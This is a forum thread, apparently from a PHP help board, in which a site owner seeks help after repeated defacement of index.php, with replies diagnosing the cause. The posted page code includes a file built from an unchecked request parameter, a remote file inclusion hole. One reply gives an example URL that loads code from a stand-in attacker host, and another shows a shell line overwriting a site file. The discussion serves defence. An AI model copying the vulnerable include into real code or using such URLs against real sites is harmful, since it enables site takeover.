Twice now hackers have edited the contents of my index.php file.

How can I stop this from happening? What do I need to change in PHP to prevent this editing?

    Could you tell how the hackers got hold of your script: FTP,shell?

      Not sure to be honest. They didn't access the account, so ftp wasn't an option. Shell also doesn't sound likely.

      I think it could have something to do with the PHP structure of my site where I use the index.php?page=whatever function. At least that's what my provider mentioned...

        Post your code...

        No one should ever be able to modify your scripts or even see your actual scripts without FTP / Shell access, the only case woudl be if you are fread()ing and fwrite()ing files somewhere on the server and you chmod()ed them to the wrong file persmissions...

          And having writeable files included in a page can be very dangerous in a 'virthost' environment, but please, let's use "crackers" instead of "hackers" --- hacking is about 2/3 of all the PHP work I do, since I hardly ever have an outline when I take over an existing web project 🙂 .

          What if betman's crackers are his 'hard disk neighbors...' ??

          On another front, if some Trojan is giving crackers shell access to the web user account (nobody, www, daemon whatever) and his web scripts have permission to modify his content files...

          [nobody@somehost]#ls
          index.php
          content-a.txt
          content-b.txt
          footer.inc
          
          [nobody@somehost]#echo 'heh, i haxored u, dude' > footer.inc

          This is pretty common, and it's usual that the hosting company doesn't even know about it, 'cause as soon as they find out, they pull that box and rebuild it... I'd nmap the server and see if I saw any unusual open ports on that box, for one thing. What are your files chmodded to?

            Another thought: do you use any web forms that input data to files (or a db) for inclusion as web content?

            Lack of sanity checking, failure to account for deviousness of user input (do you do striptags(), htmlentities(), addslashes for db content, etc.) are common problems with PHP scripts, so I hear tell 🙂

              <html>
              <head>

              <SCRIPT>
              <!--
              function displayWindow(url, width, height) {
              var Win = window.open(url,"displayWindow",'width=' + width + ',height=' + height + ',resizable=0,scrollbars=yes,menubar=no' );
              }
              //-->
              </SCRIPT>

              <title>welcome</title>
              <meta http-equiv="Content-Type"content="text/html; charset=iso-8859-2">
              <link rel="stylesheet"href="style.css">
              <script src="coolbuttons.js">

              /
              Depressible DHTML buttons (By Erik Arvidsson at http://webfx.eae.net)
              Permission granted to Dynamicdrive.com to include script in archive
              For this and 100's more DHTML scripts, visit http://dynamicdrive.com
              /

              </script>
              </head>
              <body bgcolor="#FFFFFF"text="#000000">
              <div align="center">

              <table width="760" border="0" cellpadding="0" cellspacing="0">
              <tr><td width="210" height="68"><div align="center"><a href="index.php"><img src="g/main.gif" width="200" height="68" border="0"></a></div></td>
              <td height="68"><div align="center"><a href="http://www.bluesq.com" target="_blank"><img height=60 src="banners/b468x60.gif" width=468 border="0"></a></div></td>
              <td width="50" height="68" valign="bottom"><table width="44" border="0" cellspacing="0" cellpadding="0" align="center" height="20"><tr><td>
              </tr></table></td></tr>
              <tr><td colspan="3"><a href="index.php?dzial=domeny"><img src="g/top.gif" width="760" height="45" border="0"></a></td></tr>
              </table>

              <table width="760" border="0" cellpadding="0" cellspacing="0">
              <tr>
              <td rowspan="2" width="118" background="g/backbarlong.gif">&nbsp;</td>
              <td valign="top" width="642">
              <table class="coolBar" width="642">
              <tr>
              <td class="coolButton"> <font face="Verdana" size="1"><b><a href="index.php?dzial=faq" style="text-decoration: none">&#149; FAQ dla obstawiaj±cych</a></b></font></td>
              <td class="coolButton"> <font face="Verdana" size="1"><b><a href="index.php?dzial=asian" style="text-decoration: none">&#149; Handicapy azjatyckie</a></b></font></td>
              <td class="coolButton"> <font face="Verdana" size="1"><b><a href="index.php?dzial=kursy" style="text-decoration: none">&#149; Znajomo¶æ kursów</a></b></font></td>
              <td class="coolButton"> <font face="Verdana" size="1"><b><a href="index.php?dzial=neteller" style="text-decoration: none">&#149; Neteller</a></b></font></td>
              </tr>
              </table>
              </td>
              </tr>
              <tr>
              <td valign="top" width="642" height="47">
              <table border="0" bordercolor="#6F0024" cellpadding="1" cellspacing="0" width="642">
              <tr>
              <td bgcolor="#6F0024" height="21"><a href="index.php?dzial=me2004"><img src="g/me1.gif" width="160" height="17" border="0"></a></td>
              </tr>
              <tr>
              <td height="18">
              <p><b>
              <script language="JavaScript1.2">
              //Dynamic countdown Script II- © Dynamic Drive (www.dynamicdrive.com)
              //Support for hour minutes and seconds added by Chuck Winrich (winrich@babson.edu) on 12-12-2001
              //For full source code, 100's more DHTML scripts, visit http://www.dynamicdrive.com

              function setcountdown(theyear,themonth,theday,thehour,themin,thesec){
              yr=theyear;mo=themonth;da=theday;hr=thehour;min=themin;sec=thesec
              }

              //////////CONFIGURE THE COUNTDOWN SCRIPT HERE//////////////////

              //STEP 1: Configure the countdown-to date, in the format year, month, day, hour(0=midnight,23=11pm), minutes, seconds:
              setcountdown(2003,03,29,19,00,00)

              //STEP 2: Change the two text below to reflect the occasion, and message to display on that occasion, respectively
              var occasion="Euro 2004!"
              var message_on_occasion="Powodzenia w zak³adach!"

              //STEP 3: Configure the below 5 variables to set the width, height, background color, and text style of the countdown area
              var countdownwidth='630px'
              var countdownheight='50px'
              var countdownbgcolor='white'
              var opentags='&nbsp;<font face="Verdana"><small>'
              var closetags='</small></font>'

              //////////DO NOT EDIT PAST THIS LINE//////////////////

              var montharray=new Array("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec")
              var crosscount=''

              function start_countdown(){
              if (document.layers)
              document.countdownnsmain.visibility="show"
              else if (document.all||document.getElementById)
              crosscount=document.getElementById&&!document.all?document.getElementById("countdownie") : countdownie
              countdown()
              }

              if (document.all||document.getElementById)
              document.write('<span id="countdownie" style="width:'+countdownwidth+'; background-color:'+countdownbgcolor+'"></span>')

              window.onload=start_countdown

              function countdown(){
              var today=new Date()
              var todayy=today.getYear()
              if (todayy < 1000)
              todayy+=1900
              var todaym=today.getMonth()
              var todayd=today.getDate()
              var todayh=today.getHours()
              var todaymin=today.getMinutes()
              var todaysec=today.getSeconds()
              var todaystring=montharray[todaym]+" "+todayd+", "+todayy+" "+todayh+":"+todaymin+":"+todaysec
              futurestring=montharray[mo-1]+" "+da+", "+yr+" "+hr+":"+min+":"+sec
              dd=Date.parse(futurestring)-Date.parse(todaystring)
              dday=Math.floor(dd/(6060100024)1)
              dhour=Math.floor((dd%(6060100024))/(60601000)1)
              dmin=Math.floor(((dd%(6060100024))%(60601000))/(601000)1)
              dsec=Math.floor((((dd%(60
              60100024))%(60601000))%(601000))/10001)
              //if on day of occasion
              if(dday<=0&&dhour<=0&&dmin<=0&&dsec<=1&&todayd==da){
              if (document.layers){
              document.countdownnsmain.document.countdownnssub.document.write(opentags+message_on_occasion+closetags)
              document.countdownnsmain.document.countdownnssub.document.close()
              }
              else if (document.all||document.getElementById)
              crosscount.innerHTML=opentags+message_on_occasion+closetags
              return
              }
              //if passed day of occasion
              else if (dday<=-1){
              if (document.layers){
              document.countdownnsmain.document.countdownnssub.document.write(opentags+"Zdarzenie ju¿ siê odby³o! "+closetags)
              document.countdownnsmain.document.countdownnssub.document.close()
              }
              else if (document.all||document.getElementById)
              crosscount.innerHTML=opentags+"Zdarzenie ju¿ siê odby³o! "+closetags
              return
              }
              //else, if not yet
              else{
              if (document.layers){
              document.countdownnsmain.document.countdownnssub.document.write(opentags+dday+ " dni, "+dhour+" godzin(y), "+dmin+" minut(y) i "+dsec+" sekund zosta³o do "+occasion+closetags)
              document.countdownnsmain.document.countdownnssub.document.close()
              }
              else if (document.all||document.getElementById)
              crosscount.innerHTML=opentags+dday+ " dni, "+dhour+" godzin, "+dmin+" minut i "+dsec+" sekund pozosta³o do "+occasion+closetags
              }
              setTimeout("countdown()",1000)
              }
              </script>
              <ilayer id="countdownnsmain" width=&{countdownwidth}; height=&{countdownheight}; bgcolor=&{countdownbgcolor}; visibility=hide>
              <layer id="countdownnssub" width=&{countdownwidth}; height=&{countdownheight}; left=0 top=0></layer>
              </ilayer>
              </b></p>
              </td>
              </tr>
              </table>
              </td>
              </tr>
              </table>
              <table width="760"border="0"cellpadding="0"cellspacing="0">

              <?
              if($dzial=='me2004') {
              print "<tr><td width=135 background=g/backbar.gif valign=top rowspan=2>";
              }
              else {
              print "<tr><td width=135 background=g/backbar.gif valign=top>";
              }
              ?>

              <table width="131"border="0"cellpadding="0"cellspacing="0">

              *just links

              </table>
              </td>

              <!-- MIDDLE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! -->

              <?

              if(!isset($dzial)) {

              include('powitalna.txt');
              // tutaj wyswietlana jest strona powitalna
              }

              if(isset($dzial)) {

              $wyswietl="$dzial.php";
              echo "<small>";
              include($wyswietl);
              echo "</small>";
              }

              else { }
              ?>

              </td>
              </tr>
              </table>

              <!-- END OF MIDDLE!!!!!!!!!! -->

              <table width="760"border="0"cellspacing="0"cellpadding="0">
              <tr><td width="135"background="g/backbar.gif">&nbsp;</td>
              <td>

              <hr width="450" align="center">

              </td>
              </tr>
              </table>
              </div>
              </body>
              </html>

                So, I assume this is your 'index.php'?

                What was defaced? Where?

                  They hacked it once so I changed my password, only to see index.php hacked again to the following:


                  "OWNED AGAIN BY INFERNALIS [cz00bek, s1n, nicram, beeliende, lucas, ph0b, [c]cinek, f0r3st, ninex, jenny]. WHY OH WHY I AM DOING THIS. MAYBE BECAUSE I DONT LIKE YOUR FUCKING WEBSITE AND YOUR LAME WINDOWS SERVER. SO G00D BY TOO YOU. LETS HOPE THERE WILL BE NO MORE HACKS TO YOUR PAGE. GREETZ: IDKA :*, gozda, syko-dell, hewl, zinn, GhOsThAsH, samael, saurid, nux.

                  There was no break-in to the account itself though. I've checked this in the logs and with my provider. They claim that the fault could be in my index.php file and my system of navigation which doesn't display errors when someone types in a url that doesn't exist.

                    Well, my first thought after reading the sc4lpT klDDi3Z drivel is that you ought to look for someone who hosts on UNIX instead..., but all OS bashing aside, where were these words? Did you shell in and see them in the long script that you posted previously? Or did the change the 'powitalna.txt' file, or cause your script to include some file that they dumped there instead of your content? Did you view the source of the hacked page? Or, is it possible (however unlikely the ISP thinks) that they simple absconded with your IP and pointed it somewhere else, or adjusted your "index" location?

                    If you couldn't figure this out and no one at your hosting company gave a rip, maybe my first thought was correct....

                      Hi Dalecosp,

                      Many thanks for helping out! I'm not so certain that the server is a Windows one, as the following info comes up when I check up on my host (rubikon.pl): Apache/1.3.27 (Unix) (PLD/Linux) mod_ssl/2.8.10 OpenSSL/0.9.6c PHP/4.2.3

                      The hacker's message simply replaced the contents of the index.php file. That was the only file altered, with all the code replaced with the hacked message. I checked the source and the message was all I found, everything else was gone.

                      I don't think they could have relayed my IP somewhere else or adjusted the index location as I downloaded/ftp'd the index.php file and found the hacked message there.

                      My reckoning is that they somehow used a PHP edit feature to modify the index.php file. My provider claims that the way my page is structured could be at fault, because it doesn't return errors when someone types in a page that doesn't exist (index.php?dzial=anything). Apparently this setup can allow them to access other PHP commands, or so my provider claims.

                        Forgot about one thing, what's the best way to prevent someone using any sort of PHP edit routine on my web space without having my account password?

                        Two other thoughts that come to mind are:

                        1. CHMODing everything to read only. Would that help? (I assume files could then only be altered by ftp after logging in)

                        2. My provider has a password-protect as well as an IP-restrict reature. Would it help to hide some files there, or would that restrict viewing completely?

                          If I were you I'd head over to a site such as www.blackcode.com or another site that seems to attract the sort of people who have done/know how to do what was done to you. I doubt if it was anyy of them but you could perhaps find out how they did it, they'd probably have a better idea than some of the people here (especially me) becuase they actually seem to enjoy this sort of stuff.

                          ~ Paul

                            Thanks for the link - I'll give it a shot.

                            Is there any chance that the hacker used the PHP include bug to access other PHP functions on my account? Is that plausible?

                              Originally posted by betman
                              Thanks for the link - I'll give it a shot.

                              Is there any chance that the hacker used the PHP include bug to access other PHP functions on my account? Is that plausible?

                              I don't find a bug that deals with include() in PHP 4.2.3 on Linux...

                              Did this occur while they were still running 4.1.2?

                                I think it's highly probable that the PHP was upgraded on the server after I reported everything to my provider.

                                Many thanks Dalecosp for helping me out!

                                  if(!isset($dzial)) {

                                  include('powitalna.txt');
                                  // tutaj wyswietlana jest strona powitalna
                                  }

                                  if(isset($dzial)) {

                                  $wyswietl="$dzial.php";
                                  echo "<small>";
                                  include($wyswietl);
                                  echo "</small>";
                                  }

                                  so i suppose you have register globals of, so if someone calls your script like this:

                                  yoursite.com/index.php?dzial=http://crackers.com/test

                                  (where test is a textfile with php code in it) they can run every!!! code they want on your site!

                                    I don't see that in the example you've posted, but URL poisoning is an easy and favorite target, I expect....

                                    In your example, if $dzial is set, he includes another value....

                                      $wyswietl="$dzial.php";
                                      here he parset the variable $dzial unchecked! so anyone can submit a remote serverpage

                                        How can you open a file for inclusion via HTTP? I can't, at least. Tried it on my server and I get Failed opening 'http://xxx.xxx.xxx/xxx.php' for inclusion (include_path='')